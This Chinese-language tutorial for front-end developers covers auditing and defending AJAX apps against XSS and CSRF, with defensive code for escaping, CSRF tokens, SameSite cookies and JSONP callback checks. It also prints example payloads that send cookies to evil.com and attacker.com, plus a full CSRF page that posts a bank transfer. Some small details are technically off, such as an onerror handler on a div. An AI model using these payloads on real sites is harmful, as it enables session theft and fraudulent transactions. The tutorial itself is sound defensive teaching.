前两天我在复盘一个老项目的代码时,发现了一个典型的反射型 XSS 漏洞。起因很简单:一个搜索框直接渲染了用户输入的关键词,没有做任何过滤。那时候我就意识到,虽然前端开发经常被戏称为“切图仔”,但在安全这块,我们其实是第一道防线,甚至是最后一道防线。后端可能防住了 SQL 注入,但 AJAX 异步请求中携带的恶意脚本,往往能在浏览器端悄无声息地接管用户的 Session。
今天,我想抛开那些枯燥的安全术语堆砌,像老朋友聊天一样,把 AJAX 交互中最容易踩的两个大坑——XSS(跨站脚本攻击)和 CSRF(跨站请求伪造)——彻底讲清楚。我会结合真实的代码场景,告诉你怎么审计,怎么防御,以及为什么有些看似“聪明”的防护措施其实根本没用。
为什么 AJAX 让 XSS 变成了“高级攻击”?
很多人对 XSS 的理解还停留在 <script>alert(1)</script> 这种几十年前的玩法上。但在现代前端架构中,AJAX(以及现代的 Fetch API、Axios)改变了数据的流动方式,也让攻击面变得隐蔽得多。
传统的 Web 应用中,用户输入通常通过表单提交,页面重新加载。这时候,如果后端没有正确转义输出,恶意脚本确实能执行。但 AJAX 出现后,数据是通过 JavaScript 动态插入 DOM 的。这带来了一个致命的误解:很多开发者认为,只要不用 innerHTML 而是用 textContent 或者框架(如 React、Vue)的插值语法 {{ variable }},就安全了。
事实真的如此吗?我们来看一个常见的反例。
假设你有一个新闻列表接口 /api/news,返回 JSON 数据。你的前端代码长这样:
fetch('/api/news')
.then(res => res.json())
.then(data => {
const container = document.getElementById('news-list');
data.forEach(item => {
// 开发者认为 Vue 的 Mustache 语法是安全的
// 但实际上,如果 item.content 是一个 HTML 字符串
// 而你在其他地方还是用了 dangerouslySetInnerHTML 或 vue 的 v-html
const el = document.createElement('div');
el.innerHTML = item.content; // 危险!
container.appendChild(el);
});
});
在这个例子里,如果攻击者在新闻内容中注入了 <img src=x onerror=fetch('http://evil.com/steal?cookie='+document.cookie)>,当页面渲染时,这个脚本就会执行。更糟糕的是,AJAX 请求往往携带着用户的 Cookie 或 Token。一旦攻击成功,攻击者不仅拿到了 DOM,还拿到了用户的身份凭证。
这就是为什么在 AJAX 时代,XSS 不再只是“弹个窗”,而是能直接导致账户接管、数据泄露甚至横向渗透内网的高级威胁。
深入剖析:存储型 XSS 的“潜伏期”
如果说反射型 XSS 是“一次性”的,那么存储型 XSS 就是“持久化”的噩梦。在 AJAX 应用中,用户输入的数据常常被发送到后端存储(数据库),然后再次通过 AJAX 接口读取并展示给其他用户。
我曾在审计一个社交平台的评论功能时发现,后端对 <script> 标签做了过滤,但对事件处理器如 onerror、onload、onclick 却没有严格检查。更关键的是,前端在渲染评论时,直接使用了 v-html(在 Vue 中)或 dangerouslySetInnerHTML(在 React 中),并且没有经过二次转义。
攻击者只需要发布一条包含以下内容的评论:
<div style="background-image:url(xxx)" onerror="new Image().src='http://attacker.com/log?c='+document.cookie"></div>
当其他用户通过 AJAX 加载这条评论时,恶意代码就会在后台静默执行,将受害者的 Cookie 发送到攻击者的服务器。这种攻击的可怕之处在于:用户甚至不知道风险的存在,因为页面看起来完全正常,没有红色的警告弹窗,只有数据在无声无息地流失。
代码审计要点
在进行代码审计时,关注以下几个关键点:
- 数据流向:追踪用户输入从接收(
request.body或query string)到存储(数据库),再到输出(AJAX 响应)的全过程。 - 输出上下文:判断数据是被插入到 HTML 正文、属性、JavaScript 变量还是 CSS 中。不同上下文需要的转义策略完全不同。
- 框架的安全机制:检查是否误用了
v-html、dangerouslySetInnerHTML或innerHTML。对于 Angular 等框架,虽然默认开启沙箱,但如果开发者使用了[innerHTML]以外的绑定方式,或者引入了信任的 URL(如Sanitizer配置不当),依然会有风险。 - JSON 解析的陷阱:有些老旧代码会用
eval()来解析 AJAX 返回的数据,这是绝对的红线。JSON.parse()是安全的,但eval()会把数据当作代码执行。
// 错误示范:严禁在 AJAX 回调中使用 eval()
const rawData = responseText;
eval("var data = " + rawData); // 如果 rawData 包含恶意代码,这里立即执行
// 正确示范:始终使用 JSON.parse()
const data = JSON.parse(rawData);
CSRF:当浏览器成为“帮凶”
如果说 XSS 是欺骗浏览器执行恶意脚本,那么 CSRF 就是欺骗浏览器去执行“合法”的操作。AJAX 请求通常携带 Cookie,这意味着只要用户登录了网站,浏览器在发起跨站请求时会自动附带认证信息。攻击者只需要构造一个页面,诱导已登录用户访问,就能利用用户的身份发起转账、修改密码或发送消息等操作。
很多前端开发者有一个误区:“我用了 AJAX 请求,CSRF 就防不住我。” 恰恰相反,AJAX 的异步特性让 CSRF 攻击变得更加隐蔽,因为用户页面上不会有页面跳转的提示,攻击可能在用户毫无察觉的情况下完成。
让我们看一个典型的 CSRF 攻击场景。假设银行有一个 API POST /transfer,用于转账,参数是 amount 和 toAccount。攻击者在自己的网站 evil.com 上放置了如下代码:
<!DOCTYPE html>
<html>
<body>
<img src="" style="display:none;" onerror="submitForm()">
<script>
function submitForm() {
var xhr = new XMLHttpRequest();
xhr.open('POST', 'https://bank.com/transfer', true);
xhr.withCredentials = true; // 允许携带 Cookie
xhr.setRequestHeader('Content-Type', 'application/json');
var payload = JSON.stringify({ amount: 10000, toAccount: 'attacker_account' });
xhr.send(payload);
}
</script>
</body>
</html>
当受害者打开这个页面时,JavaScript 会自动发起一个 POST 请求到银行服务器。由于浏览器会自动附带银行的 Cookie,银行服务器会认为这是用户本人的合法操作,从而执行转账。
为什么传统的“同源策略”防不住 CSRF?
同源策略(Same-Origin Policy)主要是为了防止 XSS 攻击导致的数据窃取,它限制了一个源的文档如何与另一个源的资源进行交互。但是,对于 写操作(POST、PUT、DELETE),同源策略并不阻止跨域请求的产生。浏览器允许跨域发起请求,只是不允许 JavaScript 代码读取响应内容(除非服务器明确设置了 CORS 头)。
也就是说,攻击者可以发起请求,用户会被“暗算”,但攻击者拿不到响应数据,所以他无法知道转账是否成功。但这并不影响攻击的有效性,因为转账已经发生了。
双重防御:前端验证与后端固守
应对 AJAX 安全漏洞,没有银弹。我们必须建立纵深防御体系,前端做好验证,后端做好加固。
第一层:输入验证与输出编码
在前端,对于所有用户输入,尤其是通过 AJAX 发送到后端的数据,必须进行严格的验证。
- 白名单验证:对于金额、账号等字段,只允许数字或特定格式。
- 输出编码:在将数据渲染到页面前,确保进行 HTML 实体编码。
// 简单的 HTML 实体编码函数
function escapeHtml(text) {
const map = {
'&': '&',
'<': '<',
'>': '>',
'"': '"',
"'": '''
};
return text.replace(/[&<>"']/g, function(m) { return map[m]; });
}
// 使用示例
const userInput = '<script>alert(1)</script>';
const safeOutput = escapeHtml(userInput);
document.getElementById('content').textContent = safeOutput;
// 输出结果为: <script>alert(1)</script>,浏览器会将其作为文本显示,而非执行
现代前端框架通常内置了自动转义。例如,React 的 JSX 默认会对字符串进行转义,只有明确使用 dangerouslySetInnerHTML 时才会绕过。Vue 的 {{ }} 也会自动转义。因此,尽量使用框架的绑定语法,避免直接使用 innerHTML 或 v-html。如果必须使用 v-html,请确保数据源是可信的,或者在送入模板前进行 sanitization( sanitization 库如 DOMPurify 是非常好的选择)。
第二层:Anti-CSRF Token
这是防御 CSRF 的金标准。每个会话生成一个唯一的随机 Token,前端在 AJAX 请求中以 Header 或表单字段的形式发送给后端,后端验证 Token 的有效性。
在前端,通常的做法是在用户登录时,后端返回一个 CSRF Token,并将其存储在内存或自定义 Header 中。使用 Axios 等库时,可以配置拦截器自动携带 Token。
// Axios 拦截器示例:自动携带 CSRF Token
axios.interceptors.request.use(config => {
// 假设 CSRF Token 存储在 sessionStorage 中,由后端在登录接口返回
const token = sessionStorage.getItem('csrf_token');
if (token) {
config.headers['X-CSRF-Token'] = token;
}
return config;
}, error => {
return Promise.reject(error);
});
// 页面初始化时获取 Token
fetch('/api/init', { credentials: 'include' })
.then(res => res.json())
.then(data => {
sessionStorage.setItem('csrf_token', data.csrfToken);
});
后端在验证时,会检查请求中的 X-CSRF-Token Header 是否与用户会话中的 Token 匹配。如果缺失或错误,直接拒绝请求。
注意:不要依赖 Referer 头来验证 CSRF,因为它可以被某些代理或浏览器设置抹除。也不要依赖 POST 方法,因为 GET 请求同样可以携带 Cookie。
第三层:SameSite Cookie 属性
这是一个浏览器级别的防御机制。通过在 Set-Cookie 时设置 SameSite 属性,可以限制 Cookie 在跨站请求中的发送行为。
SameSite=Strict:Cookie 仅在原始站点的上下文中发送,完全禁止第三方站点携带该 Cookie。这是最安全的设置,但可能影响某些用户体验(如通过微信登录)。SameSite=Lax:默认行为。在跨站导航时(如点击链接),Cookie 会被发送;但在跨站 POST 请求(如<form>提交)中,Cookie 不会发送。这能防御大多数 CSRF 攻击,同时保持良好的兼容性。
Set-Cookie: session_id=abc123; SameSite=Lax; Secure; HttpOnly
在现代浏览器中,如果没有设置 SameSite,默认行为趋向于 Lax。建议开发者显式设置,并根据业务需求选择 Strict 或 Lax。
前端代码审计实战:如何发现隐形漏洞?
作为前端开发者,定期进行代码审计是提升安全意识的关键。以下是一些实用的审计技巧和工具。
1. 静态分析工具
使用 ESLint 插件和静态分析工具可以自动化发现部分安全问题。
- eslint-plugin-security:检测常见的 JavaScript 安全漏洞,如
eval()、document.write()、硬编码密码等。 - Semgrep:一个灵活的静态分析引擎,可以编写自定义规则来查找特定的不安全模式。例如,查找所有使用
innerHTML的地方:
rules:
- id: no-innerHTML
patterns:
- pattern: $OBJ.innerHTML = $X;
- metavariable-regex:
metavariable: $X
regex: '.*'
message: "Avoid using innerHTML as it can lead to XSS vulnerabilities."
severity: WARNING
- SonarQube:企业级代码质量平台,内置了强大的安全扫描规则,可以集成到 CI/CD 流程中,在代码提交时自动触发安全检测。
2. 手动审计清单
除了工具,手动审计同样重要。在审查 AJAX 相关的代码时,问自己以下问题:
- 数据来源:这个数据来自用户输入还是后端?如果是用户输入,是否经过了转义?
- 渲染方式:数据是使用
textContent、框架插值还是innerHTML/v-html?后者风险最高。 - 敏感操作:涉及转账、修改密码等敏感操作的请求,是否携带了 CSRF Token?
- 第三方库:引入的第三方库是否存在已知的安全漏洞?定期运行
npm audit或yarn audit。 - CORS 配置:后端配置的 CORS 头是否过于宽松(如
Access-Control-Allow-Origin: *)?对于携带敏感数据的接口,应限制为特定的域名。
3. 实战案例:一个被忽视的 JSONP 漏洞
JSONP 是一种古老的跨域数据获取方式,它利用 <script> 标签不受同源策略限制的特性。虽然现代开发中 JSONP 已逐渐被 CORS 取代,但在一些遗留系统中依然常见。
如果后端支持 JSONP,它会将数据包裹在一个回调函数中返回:
callbackFunction({"name": "John", "age": 30});
前端通过动态创建 <script> 标签来发起请求:
const script = document.createElement('script');
script.src = 'https://api.example.com/data?callback=handleResponse';
document.body.appendChild(script);
漏洞往往出现在回调函数名的处理上。如果后端没有对 callback 参数进行严格验证,攻击者可以传入恶意代码作为回调函数名,例如 alert(1) 或更复杂的脚本。
// 后端未验证 callback 参数
app.get('/data', (req, res) => {
const callback = req.query.callback;
// 如果 callback 是 "alert(1)",返回的代码就是 alert(1)({"name":"John"});
res.send(`${callback}(${JSON.stringify(data)})`);
});
修复方案:
- 弃用 JSONP:尽可能使用 CORS 替代 JSONP。
- 严格验证回调函数名:如果必须支持 JSONP,回调函数名只能包含字母、数字、下划线和点号,并且应该与一个预定义的白名单进行比对。
// 验证回调函数名
const callbackWhitelist = /^[\w.]+$/;
const callback = req.query.callback;
if (!callbackWhitelist.test(callback)) {
return res.status(400).send('Invalid callback function name');
}
结语:安全是一种习惯,不是一次性任务
AJAX 安全不是一个可以“搞定一次就一劳永逸”的问题。Web 技术在不断演进,新的攻击手段也在层出不穷。作为前端开发者,我们需要建立一种“安全左移”的思维,在编码初期就考虑潜在的风险。
记住,永远不要信任用户的输入,永远不要信任网络的传输。对于 XSS,我们的原则是“输出即转义”;对于 CSRF,我们的原则是“身份即验证”。结合自动化工具和手动审计,定期检查依赖库的安全状态,配置严格的 CORS 和 Cookie 策略,我们才能构建出真正安全的 AJAX 应用。
希望这篇指南能帮助你识别和修复那些潜伏在代码深处的安全隐患。安全之路漫长,但我们每一步的谨慎,都在为用户的资产和隐私增添一道坚实的屏障。